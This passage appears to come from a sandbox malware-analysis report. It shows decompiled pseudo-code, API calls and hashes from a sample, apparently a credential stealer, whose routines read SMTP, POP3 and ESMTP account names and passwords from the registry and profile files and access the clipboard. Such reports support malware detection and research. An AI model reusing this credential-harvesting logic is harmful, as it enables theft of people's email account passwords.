					E0040EB59(_t113, _a8, "SMTPPort",  &_v956);
					E0040EB59(_t113, _a8, "SMTPLogSecure",  &_v952);
					if(E0040EBA3(_t113, _a8, "SMTPPassword",  &_v1212,  &_v8) != 0) {
						_v8 = _v8 & 0x00000000;
					}
					_t123 = _t118 + 0xa9c;
					strcpy( &_v152, _t123);
					strcpy( &_v1084, _t123);
					_t116 = _a4;
					if(_a4 > 0) {
						E00401D18( &_v280, _t116);
					}
					if(_v408 != 0) {
						E00402407( &_v940, _t141, _t118);
					}
					_t117 = _v8;
					if(_v8 > 0) {
						E00401D18( &_v1212, _t117);
					}
					if(_v1340 != 0) {
						E00402407( &_v1872, _t141, _t118);
					}
					return RegCloseKey(_a8);
				}
				return _t59;
			}


































                                                                                                              0x00402d9a
                                                                                                              0x00402d9a
                                                                                                              0x00402d9a
                                                                                                              0x00402dad
                                                                                                              0x00402db7
                                                                                                              0x00402dc0
                                                                                                              0x00402dc7
                                                                                                              0x00402dca
                                                                                                              0x00402dcd
                                                                                                              0x00402dd8
                                                                                                              0x00402ddf
                                                                                                              0x00402de0
                                                                                                              0x00402de6
                                                                                                              0x00402df2
                                                                                                              0x00402df3
                                                                                                              0x00402df8
                                                                                                              0x00402dfb
                                                                                                              0x00402e07
                                                                                                              0x00402e0a
                                                                                                              0x00402e14
                                                                                                              0x00402e2a
                                                                                                              0x00402e40
                                                                                                              0x00402e56
                                                                                                              0x00402e67
                                                                                                              0x00402e78
                                                                                                              0x00402e9d
                                                                                                              0x00402e9f
                                                                                                              0x00402e9f
                                                                                                              0x00402eb1
                                                                                                              0x00402ec4
                                                                                                              0x00402eda
                                                                                                              0x00402ef0
                                                                                                              0x00402f04
                                                                                                              0x00402f18
                                                                                                              0x00402f3d
                                                                                                              0x00402f3f
                                                                                                              0x00402f3f
                                                                                                              0x00402f43
                                                                                                              0x00402f51
                                                                                                              0x00402f5e
                                                                                                              0x00402f63
                                                                                                              0x00402f6c
                                                                                                              0x00402f74
                                                                                                              0x00402f74
                                                                                                              0x00402f80
                                                                                                              0x00402f89
                                                                                                              0x00402f89
                                                                                                              0x00402f8e
                                                                                                              0x00402f93
                                                                                                              0x00402f9b
                                                                                                              0x00402f9b
                                                                                                              0x00402fa7
                                                                                                              0x00402fb0
                                                                                                              0x00402fb0
                                                                                                              0x00000000
                                                                                                              0x00402fb8
                                                                                                              0x00402fbf

                                                                                                              APIs
                                                                                                                • Part of subcall function 0040EB3F: RegOpenKeyExA.KERNEL32(80000002,80000002,00000000,00020019,80000002), ref: 0040EB52
                                                                                                                • Part of subcall function 0040EB80: RegQueryValueExA.KERNEL32 ref: 0040EB9B
                                                                                                                • Part of subcall function 0040EB59: RegQueryValueExA.ADVAPI32 ref: 0040EB78
                                                                                                                • Part of subcall function 0040EBA3: RegQueryValueExA.ADVAPI32 ref: 0040EBB9
                                                                                                              • strcpy.MSVCRT(?,?), ref: 00402EB1
                                                                                                              • strcpy.MSVCRT(?,?,?,?), ref: 00402EC4
                                                                                                              • strcpy.MSVCRT(?,?), ref: 00402F51
                                                                                                              • strcpy.MSVCRT(?,?,?,?), ref: 00402F5E
                                                                                                              • RegCloseKey.ADVAPI32(?), ref: 00402FB8
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: strcpy$QueryValue$CloseOpen
                                                                                                              • String ID: DisplayName$EmailAddress$PopAccount$PopLogSecure$PopPassword$PopPort$PopServer$SMTPAccount$SMTPLogSecure$SMTPPassword$SMTPPort$SMTPServer
                                                                                                              • API String ID: 4127491968-1534328989
                                                                                                              • Opcode ID: bc502a2f810201799b65fe191f0b2b755badb9767aa7be6438aea8befdef1186
                                                                                                              • Instruction ID: 43883d4594eb94b0077ee0611f04b7cce421852a2964d1822423da303833eb9e
                                                                                                              • Opcode Fuzzy Hash: bc502a2f810201799b65fe191f0b2b755badb9767aa7be6438aea8befdef1186
                                                                                                              • Instruction Fuzzy Hash: 5D514AB1A0021CBADB11EB56CD41FDE777CAF04354F1084A7BA08B2191D7B8ABA5CF58
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040AC8A Relevance: 9.1, APIs: 6, Instructions: 54fileclipboardCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040AC8A(void* __eax, void* __ebx) {
				char _v264;
				char _v524;
				void* __edi;
				void* __esi;
				long _t13;
				void* _t18;
				int _t19;
				long _t20;
				void* _t27;
				void* _t31;

				_t27 = __ebx;
				_t31 = __eax;
				_t13 = GetTempPathA(0x104,  &_v524);
				_t32 = _t13;
				if(_t13 == 0) {
					GetWindowsDirectoryA( &_v524, 0x104);
				}
				_v264 = 0;
				GetTempFileNameA( &_v524, "cp", 0,  &_v264);
				_t18 = E0040AC47(_t31, _t32,  &_v264, 2, 1);
				if(_t18 != 0) {
					_t19 = OpenClipboard( *(_t31 + 0x108));
					_t34 = _t19;
					if(_t19 == 0) {
						_t20 = GetLastError();
					} else {
						_t20 = E00405FC6(_t27, 0x104, _t31, _t34,  &_v264);
					}
					if(_t20 != 0) {
						E00405F41(_t20,  *(_t31 + 0x108));
					}
					return DeleteFileA( &_v264);
				}
				return _t18;
			}













                                                                                                              0x0040ac8a
                                                                                                              0x0040ac95
                                                                                                              0x0040aca4
                                                                                                              0x0040acaa
                                                                                                              0x0040acac
                                                                                                              0x0040acb6
                                                                                                              0x0040acb6
                                                                                                              0x0040acd1
                                                                                                              0x0040acd8
                                                                                                              0x0040ace9
                                                                                                              0x0040acf0
                                                                                                              0x0040acf8
                                                                                                              0x0040acfe
                                                                                                              0x0040ad00
                                                                                                              0x0040ad11
                                                                                                              0x0040ad02
                                                                                                              0x0040ad09
                                                                                                              0x0040ad0e
                                                                                                              0x0040ad19
                                                                                                              0x0040ad21
                                                                                                              0x0040ad26
                                                                                                              0x00000000
                                                                                                              0x0040ad2e
                                                                                                              0x0040ad37

                                                                                                              APIs
                                                                                                              • GetTempPathA.KERNEL32(00000104,?), ref: 0040ACA4
                                                                                                              • GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 0040ACB6
                                                                                                              • GetTempFileNameA.KERNEL32(?,0041341C,00000000,?), ref: 0040ACD8
                                                                                                              • OpenClipboard.USER32(?), ref: 0040ACF8
                                                                                                              • GetLastError.KERNEL32 ref: 0040AD11
                                                                                                              • DeleteFileA.KERNEL32(00000000), ref: 0040AD2E
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FileTemp$ClipboardDeleteDirectoryErrorLastNameOpenPathWindows
                                                                                                              • String ID:
                                                                                                              • API String ID: 2014771361-0
                                                                                                              • Opcode ID: 04f759ef316dfc5a7bfb4e8c49b84bbeab9ff02a57951bdc03c1b9a7e5f51390
                                                                                                              • Instruction ID: 1632bef886f39339d389646b63a05c30f7573d4ca20e624e383ab74febbb07e7
                                                                                                              • Opcode Fuzzy Hash: 04f759ef316dfc5a7bfb4e8c49b84bbeab9ff02a57951bdc03c1b9a7e5f51390
                                                                                                              • Instruction Fuzzy Hash: E0118272504318ABDB209B60DD49FDB77BC9F14701F0001B6F689E2091DBB8DAD4CB29
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004033D7 Relevance: 7.6, Strings: 6, Instructions: 61COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E004033D7(void* __edi, void* __fp0, intOrPtr _a4) {
				char _v276;
				char _v404;
				intOrPtr _v408;
				char _v664;
				intOrPtr _v796;
				char _v936;
				char _v1208;
				char _v1336;
				intOrPtr _v1340;
				char _v1596;
				intOrPtr _v1728;
				char _v1868;
				void* __esi;
				intOrPtr _t23;
				void* _t35;

				_t48 = __fp0;
				E004021D8( &_v936);
				E004021D8( &_v1868);
				_t23 = 4;
				_v796 = _t23;
				_v1728 = _t23;
				_v408 = _t23;
				_v1340 = 1;
				E00403397(__edi, "SMTPServer",  &_v664);
				E00403397(__edi, "ESMTPUsername",  &_v404);
				E00403397(__edi, "ESMTPPassword",  &_v276);
				E00403397(__edi, "POP3Server",  &_v1596);
				E00403397(__edi, "POP3Username",  &_v1336);
				_t35 = E00403397(__edi, "POP3Password",  &_v1208);
				if(_v276 != 0) {
					E004033B8( &_v276);
					_t35 = E00402407( &_v936, __fp0, _a4);
				}
				if(_v1208 != 0) {
					E004033B8( &_v1208);
					return E00402407( &_v1868, _t48, _a4);
				}
				return _t35;
			}


















                                                                                                              0x004033d7
                                                                                                              0x004033e7
                                                                                                              0x004033f2
                                                                                                              0x004033f9
                                                                                                              0x004033fa
                                                                                                              0x00403400
                                                                                                              0x00403406
                                                                                                              0x00403419
                                                                                                              0x00403423
                                                                                                              0x00403435
                                                                                                              0x00403447
                                                                                                              0x00403459
                                                                                                              0x0040346b
                                                                                                              0x0040347d
                                                                                                              0x00403489
                                                                                                              0x00403491
                                                                                                              0x0040349f
                                                                                                              0x0040349f
                                                                                                              0x004034ab
                                                                                                              0x004034b3
                                                                                                              0x00000000
                                                                                                              0x004034c1
                                                                                                              0x004034c8

                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: PrivateProfileString_mbscmpstrlen
                                                                                                              • String ID: ESMTPPassword$ESMTPUsername$POP3Password$POP3Server$POP3Username$SMTPServer
                                                                                                              • API String ID: 3963849919-1658304561
                                                                                                              • Opcode ID: a1e27bd18c60c19633001e89eabf5a28a20170ba59de575fff79d49308c97fe4
                                                                                                              • Instruction ID: 83b6c818750e3233ea62b9214f8e154f1c79117fabd3a6fe6fd9d90b5f1d4615
                                                                                                              • Opcode Fuzzy Hash: a1e27bd18c60c19633001e89eabf5a28a20170ba59de575fff79d49308c97fe4
                                                                                                              • Instruction Fuzzy Hash: DA21E271844218A9DB61EB11CD86BED7B7C9F44709F0000EBAA08B60D2DBBC5BD58F59
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040ED0B Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040ED0B(unsigned int _a4, CHAR* _a8, CHAR* _a12) {
				void* _t16;
				void* _t17;
				signed int _t26;
				signed int _t29;
				signed int _t33;
				struct HRSRC__* _t35;
				signed int _t36;

				_t35 = FindResourceA(_a4, _a12, _a8);
				if(_t35 != 0) {
					_t33 = SizeofResource(_a4, _t35);
					if(_t33 > 0) {
						_t16 = LoadResource(_a4, _t35);
						if(_t16 != 0) {
							_t17 = LockResource(_t16);
							if(_t17 != 0) {
								_a4 = _t33;
								_t29 = _t33 * _t33;
								_t36 = 0;
								_t7 =  &_a4;
								 *_t7 = _a4 >> 2;
								if( *_t7 != 0) {
									do {
										_t26 =  *(_t17 + _t36 * 4) * _t36 * _t33 * 0x00000011 ^  *(_t17 + _t36 * 4) + _t29;
										_t36 = _t36 + 1;
										_t29 = _t26;
									} while (_t36 < _a4);
								}
								 *0x417110 =  *0x417110 + _t29 ^ _t33;
							}
						}
					}
				}
				return 1;
			}










                                                                                                              0x0040ed1e
                                                                                                              0x0040ed22
                                                                                                              0x0040ed2f
                                                                                                              0x0040ed33
                                                                                                              0x0040ed39
                                                                                                              0x0040ed41
                                                                                                              0x0040ed44
                                                                                                              0x0040ed4c
                                                                                                              0x0040ed50
                                                                                                              0x0040ed53
                                                                                                              0x0040ed56
                                                                                                              0x0040ed58
                                                                                                              0x0040ed58
                                                                                                              0x0040ed5c
                                                                                                              0x0040ed5f
                                                                                                              0x0040ed6f
                                                                                                              0x0040ed71
                                                                                                              0x0040ed75
                                                                                                              0x0040ed75
                                                                                                              0x0040ed79
                                                                                                              0x0040ed83
                                                                                                              0x0040ed83
                                                                                                              0x0040ed4c
                                                                                                              0x0040ed41
                                                                                                              0x0040ed88
                                                                                                              0x0040ed8e

                                                                                                              APIs
                                                                                                              • FindResourceA.KERNEL32 ref: 0040ED18
                                                                                                              • SizeofResource.KERNEL32(?,00000000), ref: 0040ED29
                                                                                                              • LoadResource.KERNEL32(?,00000000), ref: 0040ED39
                                                                                                              • LockResource.KERNEL32(00000000), ref: 0040ED44
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Resource$FindLoadLockSizeof
                                                                                                              • String ID:
                                                                                                              • API String ID: 3473537107-0
                                                                                                              • Opcode ID: 4124c9c16d571b3a6a6dda8a6002e2ff58418d98f6681f6753ff1314487d049b
                                                                                                              • Instruction ID: 6bf1e5af94a697a74b0619517749427008784a8e56cd275cc50dd62f01ccc87b
                                                                                                              • Opcode Fuzzy Hash: 4124c9c16d571b3a6a6dda8a6002e2ff58418d98f6681f6753ff1314487d049b
                                                                                                              • Instruction Fuzzy Hash: 450104367002126BCB185F66CD4599B7FAAFF852903488536AD09DA360D770C921C688
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00406278 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00406278() {

				if( *0x41711c == 0) {
					0x417118->dwOSVersionInfoSize = 0x94;
					GetVersionExA(0x417118);
				}
				return 0x417118;
			}



                                                                                                              0x00406285
                                                                                                              0x00406288
                                                                                                              0x00406292
                                                                                                              0x00406292
                                                                                                              0x0040629b

                                                                                                              APIs
                                                                                                              • GetVersionExA.KERNEL32(00417118,0000001A,0040EE77,00000104), ref: 00406292
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Version
                                                                                                              • String ID:
                                                                                                              • API String ID: 1889659487-0
                                                                                                              • Opcode ID: 0048191c24760b141b6f0d3a59878a03bd3f353eaae137afec5afafb810283da
                                                                                                              • Instruction ID: e834d2f23b9aa43ef3af26d4b93615f57df44b07edf01049b3dc0679de2eed13
                                                                                                              • Opcode Fuzzy Hash: 0048191c24760b141b6f0d3a59878a03bd3f353eaae137afec5afafb810283da
                                                                                                              • Instruction Fuzzy Hash: 7DC08C34548220BBC3105F28BC09BC136B8AB0A3A2F01C876E904E6352C3B80C41CBEC
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040F808 Relevance: 191.1, APIs: 8, Strings: 101, Instructions: 307stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 99%
                                                                                                              			E0040F808(intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				signed int _v8;
				void* _v11;
				char _v12;
				char _v13;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				signed int _v28;
				short _v30;
				short _v32;
				char* _v36;
				char* _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char* _v56;
				char* _v60;
				char* _v64;
				char _v76;
				void _v88;
				intOrPtr _v92;
				char* _v96;
				char* _v100;
				intOrPtr _v104;
				char* _v108;
				char* _v112;
				char* _v116;
				char* _v120;
				char* _v124;
				intOrPtr _v128;
				char* _v132;
				char* _v136;
				char* _v140;
				char* _v144;
				char* _v148;
				char* _v152;
				intOrPtr _v156;
				char* _v160;
				char* _v164;
				char* _v168;
				intOrPtr _v172;
				char* _v176;
				char* _v180;
				char* _v184;
				char* _v188;
				char* _v192;
				char* _v196;
				intOrPtr _v200;
				char* _v204;
				char* _v208;
				char* _v212;
				char* _v216;
				char* _v220;
				char* _v224;
				char* _v228;
				intOrPtr _v232;
				char* _v236;
				char* _v240;
				char* _v244;
				char* _v248;
				char* _v252;
				intOrPtr _v256;
				char* _v260;
				char* _v264;
				char* _v268;
				char* _v272;
				char* _v276;
				char* _v280;
				intOrPtr _v284;
				char* _v288;
				char* _v292;
				char* _v296;
				intOrPtr _v300;
				char* _v304;
				char* _v308;
				char* _v312;
				char* _v316;
				char* _v320;
				char* _v324;
				intOrPtr _v328;
				char* _v332;
				char* _v336;
				char* _v340;
				char* _v344;
				char* _v348;
				char* _v352;
				char* _v356;
				char* _v360;
				char* _v364;
				intOrPtr _v368;
				intOrPtr _v372;
				char* _v376;
				char* _v380;
				intOrPtr _v384;
				char* _v388;
				char* _v392;
				intOrPtr _v396;
				intOrPtr _v400;
				char* _v404;
				char* _v408;
				intOrPtr _v412;
				char* _v416;
				char* _v420;
				char* _v424;
				char* _v428;
				intOrPtr _v432;
				intOrPtr _v436;
				char* _v440;
				intOrPtr _v444;
				char* _v448;
				char* _v452;
				char* _v456;
				char* _v460;
				intOrPtr _v464;
				char* _v468;
				intOrPtr* _t200;
				char* _t202;
				char _t203;
				int _t205;
				int _t206;
				intOrPtr _t209;
				char* _t211;
				int _t213;
				void _t216;
				char _t220;
				void _t221;
				int _t226;
				signed int _t231;
				intOrPtr* _t232;
				void _t237;
				void* _t238;
				void* _t240;
				void* _t245;
				signed int _t246;
				signed int _t249;
				int _t250;
				void* _t251;
				int _t252;
				void* _t254;
				void* _t255;
				void* _t256;

				_v64 = "amp;";
				_v60 = "lt;";
				_v56 = "gt;";
				_v52 = "quot;";
				_v48 = "nbsp;";
				_v44 = "apos;";
				_v24 = 0x26;
				_v23 = 0x3c;
				_v22 = 0x3e;
				_v21 = 0x22;
				_v20 = 0x20;
				_v19 = 0x27;
				_v468 = "iexcl;";
				_v464 = "cent;";
				_v460 = "pound;";
				_v456 = "curren;";
				_v452 = "yen;";
				_v448 = "brvbar;";
				_v444 = "sect;";
				_v440 = "uml;";
				_v436 = "copy;";
				_v432 = "ordf;";
				_v428 = "laquo;";
				_v424 = "not;";
				_v420 = "shy;";
				_v416 = "reg;";
				_v412 = "macr;";
				_v408 = "deg;";
				_v404 = "plusmn;";
				_v400 = "sup2;";
				_v396 = "sup3;";
				_v392 = "acute;";
				_v388 = "micro;";
				_v384 = "para;";
				_v380 = "middot;";
				_v376 = "cedil;";
				_v372 = "sup1;";
				_v368 = "ordm;";
				_v364 = "raquo;";
				_v360 = "frac14;";
				_v356 = "frac12;";
				_v352 = "frac34;";
				_v348 = "iquest;";
				_v344 = "Agrave;";
				_v340 = "Aacute;";
				_v336 = "Acirc;";
				_v332 = "Atilde;";
				_v328 = "Auml;";
				_v324 = "Aring;";
				_v320 = "AElig;";
				_v316 = "Ccedil;";
				_v312 = "Egrave;";
				_v308 = "Eacute;";
				_v304 = "Ecirc;";
				_v300 = "Euml;";
				_v296 = "Igrave;";
				_v292 = "Iacute;";
				_v288 = "Icirc;";
				_v284 = "Iuml;";
				_v280 = "ETH;";
				_v276 = "Ntilde;";
				_v272 = "Ograve;";
				_v268 = "Oacute;";
				_v264 = "Ocirc;";
				_v260 = "Otilde;";
				_v256 = "Ouml;";
				_v252 = "times;";
				_v248 = "Oslash;";
				_v244 = "Ugrave;";
				_v240 = "Uacute;";
				_v236 = "Ucirc;";
				_v232 = "Uuml;";
				_v228 = "Yacute;";
				_v224 = "THORN;";
				_v220 = "szlig;";
				_v216 = "agrave;";
				_v212 = "aacute;";
				_v208 = "acirc;";
				_v204 = "atilde;";
				_t200 = _a8;
				_v28 = _v28 | 0xffffffff;
				_t231 = 0;
				_t254 = 0;
				_v200 = "auml;";
				_v196 = "aring;";
				_v192 = "aelig;";
				_v188 = "ccedil;";
				_v184 = "egrave;";
				_v180 = "eacute;";
				_v176 = "ecirc;";
				_v172 = "euml;";
				_v168 = "igrave;";
				_v164 = "iacute;";
				_v160 = "icirc;";
				_v156 = "iuml;";
				_v152 = "eth;";
				_v148 = "ntilde;";
				_v144 = "ograve;";
				_v140 = "oacute;";
				_v136 = "ocirc;";
				_v132 = "otilde;";
				_v128 = "ouml;";
				_v124 = "divide;";
				_v120 = "oslash;";
				_v116 = "ugrave;";
				_v112 = "uacute;";
				_v108 = "ucirc;";
				_v104 = "uuml;";
				_v100 = "yacute;";
				_v96 = "thorn;";
				_v92 = "yuml;";
				if( *_t200 == 0) {
					L45:
					_t202 = _a4 + _t231;
					 *_t202 = 0;
					if(_a20 == 0 || _t231 <= 0 ||  *((char*)(_t202 - 1)) != 0x20) {
						return _t202;
					} else {
						 *((char*)(_t202 - 1)) = 0;
						return _t202;
					}
				}
				while(_a12 == 0xffffffff || _a12 > _t254) {
					_t232 = _t254 + _t200;
					_t203 =  *_t232;
					_v13 = _t203;
					if(_t203 != 0x26) {
						L33:
						if(_a16 == 0 || _t203 > 0x20) {
							 *((char*)(_t231 + _a4)) = _t203;
							_t231 = _t231 + 1;
						} else {
							if(_t231 != _v28) {
								 *((char*)(_t231 + _a4)) = 0x20;
								_t231 = _t231 + 1;
								if(_a20 != 0 && _t231 == 1) {
									_t231 = 0;
								}
							}
							_v28 = _t231;
						}
						_t254 = _t254 + 1;
						L43:
						_t200 = _a8;
						if( *((char*)(_t254 + _t200)) != 0) {
							continue;
						}
						break;
					}
					_t249 = 0;
					_v36 = _t232 + 1;
					while(1) {
						_t205 = strlen( *(_t255 + _t249 * 4 - 0x3c));
						_v8 = _t205;
						_t206 = strncmp(_v36,  *(_t255 + _t249 * 4 - 0x3c), _t205);
						_t256 = _t256 + 0x10;
						if(_t206 == 0) {
							break;
						}
						_t249 = _t249 + 1;
						if(_t249 < 6) {
							continue;
						}
						_t209 = _a8;
						if( *((char*)(_t254 + _t209 + 1)) != 0x23) {
							L29:
							_v8 = _v8 & 0x00000000;
							while(1) {
								_t211 =  *(_t255 + _v8 * 4 - 0x1d0);
								_v40 = _t211;
								_t250 = strlen(_t211);
								_t213 = strncmp(_v36, _v40, _t250);
								_t256 = _t256 + 0x10;
								if(_t213 == 0) {
									break;
								}
								_v8 = _v8 + 1;
								if(_v8 < 0x5f) {
									continue;
								}
								_t203 = _v13;
								goto L33;
							}
							 *((char*)(_t231 + _a4)) = _v8 - 0x5f;
							_t231 = _t231 + 1;
							_t254 = _t254 + _t250 + 1;
							goto L43;
						}
						_t128 = _t209 + 2; // 0x2
						_t251 = _t254 + _t128;
						_t237 =  *_t251;
						if(_t237 == 0x78 || _t237 == 0x58) {
							_t159 = _t209 + 3; // 0x3
							_t245 = _t254 + _t159;
							_t238 = _t245;
							_t252 = 0;
							while(1) {
								_t216 =  *_t238;
								if(_t216 == 0) {
									break;
								}
								if(_t216 == 0x3b) {
									L27:
									if(_t252 <= 0) {
										goto L29;
									}
									memcpy( &_v88, _t245, _t252);
									 *((char*)(_t255 + _t252 - 0x54)) = 0;
									_t220 = E00406512( &_v88);
									_t256 = _t256 + 0x10;
									 *((char*)(_t231 + _a4)) = _t220;
									_t231 = _t231 + 1;
									_t254 = _t254 + _t252 + 4;
									goto L43;
								}
								_t252 = _t252 + 1;
								if(_t252 >= 4) {
									break;
								}
								_t238 = _t238 + 1;
							}
							_t252 = _t252 | 0xffffffff;
							goto L27;
						} else {
							_t240 = _t251;
							_t246 = 0;
							while(1) {
								_t221 =  *_t240;
								if(_t221 == 0) {
									break;
								}
								if(_t221 == 0x3b) {
									_v8 = _t246;
									L18:
									if(_v8 <= 0) {
										goto L29;
									}
									memcpy( &_v76, _t251, _v8);
									 *((char*)(_t255 + _v8 - 0x48)) = 0;
									_t226 = atoi( &_v76);
									_t256 = _t256 + 0x10;
									_v32 = _t226;
									_v12 = 0;
									asm("stosb");
									_v30 = 0;
									WideCharToMultiByte(0, 0,  &_v32, 0xffffffff,  &_v12, 2, 0, 0);
									 *((char*)(_t231 + _a4)) = _v12;
									_t231 = _t231 + 1;
									_t254 = _t254 + _v8 + 3;
									goto L43;
								}
								_t246 = _t246 + 1;
								if(_t246 >= 6) {
									break;
								}
								_t240 = _t240 + 1;
							}
							_v8 = _v8 | 0xffffffff;
							goto L18;
						}
					}
					 *((char*)(_t231 + _a4)) =  *((intOrPtr*)(_t255 + _t249 - 0x14));
					_t231 = _t231 + 1;
					_t254 = _t254 + _v8 + 1;
					goto L43;
				}
				goto L45;
			}



















































































































































                                                                                                              0x0040f813
                                                                                                              0x0040f81a
                                                                                                              0x0040f821
                                                                                                              0x0040f828
                                                                                                              0x0040f82f
                                                                                                              0x0040f836
                                                                                                              0x0040f83d
                                                                                                              0x0040f841
                                                                                                              0x0040f845
                                                                                                              0x0040f849
                                                                                                              0x0040f84d
                                                                                                              0x0040f851
                                                                                                              0x0040f855
                                                                                                              0x0040f85f
                                                                                                              0x0040f869
                                                                                                              0x0040f873
                                                                                                              0x0040f87d
                                                                                                              0x0040f887
                                                                                                              0x0040f891
                                                                                                              0x0040f89b
                                                                                                              0x0040f8a5
                                                                                                              0x0040f8af
                                                                                                              0x0040f8b9
                                                                                                              0x0040f8c3
                                                                                                              0x0040f8cd
                                                                                                              0x0040f8d7
                                                                                                              0x0040f8e1
                                                                                                              0x0040f8eb
                                                                                                              0x0040f8f5
                                                                                                              0x0040f8ff
                                                                                                              0x0040f909
                                                                                                              0x0040f913
                                                                                                              0x0040f91d
                                                                                                              0x0040f927
                                                                                                              0x0040f931
                                                                                                              0x0040f93b
                                                                                                              0x0040f945
                                                                                                              0x0040f94f
                                                                                                              0x0040f959
                                                                                                              0x0040f963
                                                                                                              0x0040f96d
                                                                                                              0x0040f977
                                                                                                              0x0040f981
                                                                                                              0x0040f98b
                                                                                                              0x0040f995
                                                                                                              0x0040f99f
                                                                                                              0x0040f9a9
                                                                                                              0x0040f9b3
                                                                                                              0x0040f9bd
                                                                                                              0x0040f9c7
                                                                                                              0x0040f9d1
                                                                                                              0x0040f9db
                                                                                                              0x0040f9e5
                                                                                                              0x0040f9ef
                                                                                                              0x0040f9f9
                                                                                                              0x0040fa03
                                                                                                              0x0040fa0d
                                                                                                              0x0040fa17
                                                                                                              0x0040fa21
                                                                                                              0x0040fa2b
                                                                                                              0x0040fa35
                                                                                                              0x0040fa3f
                                                                                                              0x0040fa49
                                                                                                              0x0040fa53
                                                                                                              0x0040fa5d
                                                                                                              0x0040fa67
                                                                                                              0x0040fa71
                                                                                                              0x0040fa7b
                                                                                                              0x0040fa85
                                                                                                              0x0040fa8f
                                                                                                              0x0040fa99
                                                                                                              0x0040faa3
                                                                                                              0x0040faad
                                                                                                              0x0040fab7
                                                                                                              0x0040fac1
                                                                                                              0x0040facb
                                                                                                              0x0040fad5
                                                                                                              0x0040fadf
                                                                                                              0x0040fae9
                                                                                                              0x0040faf3
                                                                                                              0x0040faf6
                                                                                                              0x0040fafa
                                                                                                              0x0040fafc
                                                                                                              0x0040fb00
                                                                                                              0x0040fb0a
                                                                                                              0x0040fb14
                                                                                                              0x0040fb1e
                                                                                                              0x0040fb28
                                                                                                              0x0040fb32
                                                                                                              0x0040fb3c
                                                                                                              0x0040fb46
                                                                                                              0x0040fb50
                                                                                                              0x0040fb5a
                                                                                                              0x0040fb64
                                                                                                              0x0040fb6e
                                                                                                              0x0040fb78
                                                                                                              0x0040fb82
                                                                                                              0x0040fb8c
                                                                                                              0x0040fb96
                                                                                                              0x0040fba0
                                                                                                              0x0040fbaa
                                                                                                              0x0040fbb1
                                                                                                              0x0040fbb8
                                                                                                              0x0040fbbf
                                                                                                              0x0040fbc6
                                                                                                              0x0040fbcd
                                                                                                              0x0040fbd4
                                                                                                              0x0040fbdb
                                                                                                              0x0040fbe2
                                                                                                              0x0040fbe9
                                                                                                              0x0040fbf0
                                                                                                              0x0040fbf7
                                                                                                              0x0040fde5
                                                                                                              0x0040fde8
                                                                                                              0x0040fdee
                                                                                                              0x0040fdf1
                                                                                                              0x0040fe04
                                                                                                              0x0040fdfd
                                                                                                              0x0040fdfd
                                                                                                              0x00000000
                                                                                                              0x0040fdfd
                                                                                                              0x0040fdf1
                                                                                                              0x0040fbfe
                                                                                                              0x0040fc0d
                                                                                                              0x0040fc10
                                                                                                              0x0040fc14
                                                                                                              0x0040fc17
                                                                                                              0x0040fd94
                                                                                                              0x0040fd98
                                                                                                              0x0040fdd2
